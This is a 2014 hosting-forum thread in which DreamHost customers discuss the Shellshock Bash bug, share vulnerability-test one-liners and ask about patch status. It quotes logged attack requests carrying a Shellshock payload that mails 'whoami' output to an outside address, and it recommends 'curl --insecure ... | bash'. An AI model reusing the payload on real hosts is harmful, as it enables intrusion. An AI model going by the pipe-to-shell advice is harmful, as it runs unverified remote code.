Given the severity of the newly disclosed Bash bug, is there anything we should be doing, checking, or watching out for?
I checked my server and it seems like it’s not vulnerable, but I was a bit surprised because I’m running the same OS at home with the same Bash version and it is vulnerable. I’m downloading the update now, but I’m sure it will bump the version number. Perhaps DreamHost manually applied the patch?
My VPS server still seems vulnerable. I have looked on both the blog, and dhstatus and I don’t see any mention of an upgrade plan.
I would like it if DH would at least post a tentative plan for how it is going to roll out updates.
We patched our servers yesterday, but if you still have concerns about your account, please be sure to contact our support team. Thanks!
It seems that, at least for shared servers running Ubuntu, it is still vulnerable to CVE-2014-7169.
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
date
Thu Sep 25 07:28:49 PDT 2014Yup still vulnerable on helenium. Can’t wait for the complete patch to come out.
$ env X='() { (a)=>\' sh -c "ps ax"; cat echo
sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
sh: ax: command not found
PID TTY STAT TIME COMMAND
13129 pts/1 SNs 0:00 -bash
14592 pts/1 SN+ 0:00 sh -c echo ps ax
14593 pts/1 RN+ 0:00 ps axI can even do it on my linux mint machine using bash 4.3.11(1) heleniums is 4.1.5(1)
According to this article:
https://access.redhat.com/articles/1200223
You can test for fixes against CVE-2014-6271 using this command:
env ‘x=() { :;}; echo vulnerable’ ‘BASH_FUNC_x()=() { :;}; echo vulnerable’ bash -c “echo test”
And you can test for fixes against CVE-2014-7169 using this one:
cd /tmp; rm -f /tmp/echo; env ‘x=() { (a)=>’ bash -c “echo date”; cat /tmp/echo
Running these on my DH VPS shows it to have been patched for the first one, but not for the second one.
Hello, DreamHost, it would be good to get more information on this, perhaps even on DHStatus. Considering the severity of the issue and the multiple patches which have been issued, none of which completely fix the problem, it would be good to know what’s going on on your end and what, if anything, we should be doing on our end.
Should we rewrite our shebangs to use dash? Are there any patterns that are particularly vulnerable which we should look for and avoid in existing scripts? Are the Ubuntu servers more vulnerable than the ones still running Debian? Etc.
I’m not entirely sure here but I think all Linux flavors are equally vulnerable to this bash bug.
One thing I’d like to ask though since it’s not mentioned elsewhere. How does a machine get infected? Is it through traditionally visiting a site or opening malicious emails?
Hello,
I seams that Dreamhost has only patched the first exploit.
There are currently 5 as stated on https://shellshocker.net/
I was hit last night by a probe:
##.174.93.### [29/Sep/2014:22:35:24 -0700] domain1.com GET / HTTP/1.1 200 9251 - () { :;}; /bin/bash -c \ whoami | mail -s ‘domain1.com l’ ####@gmail.com\
##.174.93.### [30/Sep/2014:00:25:44 -0700] domain2.com GET / HTTP/1.1 200 7196 - () { :;}; /bin/bash -c \ whoami | mail -s ‘domain2.com l’ ####@gmail.com\
Not too happy about this.
[hr]
A couple of ?'s I thought up.
What about changing each users shell to something else? In the panel you can choose between: tcsh, ksh, zsh, and bash. Would this be effective or no because bash is still on the system?
What about removing shell access for each user temporarily until this is resolved? Set each user to just sftp ot ftp?
I have my VPS set to managed, but my Apache instance is not. Will the bash updates still get pushed to my VPS?
Cheerz
I doubt we will get any further response from DH. There policy seems to be one announcement and done.
FWIW, I when I run the tests at shellshocker.net I get the following report:
CVE-2014-6271 (original shellshock): [color=#32CD32]not vulnerable[/color]
CVE-2014-6278 (Florian’s patch): [color=#FF0000]VULNERABLE[/color]
CVE-2014-7169 (taviso bug): [color=#FF0000]VULNERABLE[/color]
CVE-2014-//// (exploit 3 on http://shellshocker.net/): [color=#32CD32]not vulnerable[/color]
CVE-2014-7186 (redir_stack bug): [color=#FF0000]VULNERABLE[/color]
CVE-2014-7187 (nested loops off by one): [color=#FF0000]VULNERABLE[/color]
So it looks like they have a lot of work still to do.
Thanks for the pointer to shellshocker.net. apt-get wasn’t updating properly due to some GPG error (KEYEXPIRED), but shellshocker’s script totally worked to patch the 6 exploits in my dedicated server:
After that, the test:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2009 100 2009 0 0 5671 0 --:–:-- --:–:-- --:–:-- 0
CVE-2014-6271 (original shellshock): [color=#32CD32]not vulnerable[/color]
bash: shellshocker: command not found
CVE-2014-6278 (Florian’s patch): [color=#32CD32]not vulnerable[/color]
CVE-2014-7169 (taviso bug): [color=#32CD32]not vulnerable[/color]
CVE-2014-//// (exploit 3 on http://shellshocker.net/):[color=#32CD32] not vulnerable[/color]
CVE-2014-7186 (redir_stack bug): [color=#32CD32]not vulnerable[/color]
CVE-2014-7187 (nested loops off by one): [color=#32CD32]not vulnerable[/color]
miguelgd: Please do not use this script on DreamHost managed servers. It will leave the system in an unexpected state that may cause problems.
If you believe your server needs updates, please contact DreamHost Support.
Thanks for that lovely link beachbum. I didn’t know that there were more kinds of exploits.
By any chance, is there a way for us to test this using a remote Windows machine? Something that you can launch curl? I’ve been looking everywhere but found nothing so far.
curl --insecure https://shellshocker.net/shellshock_test.sh | bash
Will achieve exactly what you seek.
Alas, still no further patching from Dreamhost. As I write there there are reports that Yahoo and some other large websites are currently being attacked using an exploit that has yet to be patched by Dreamhost.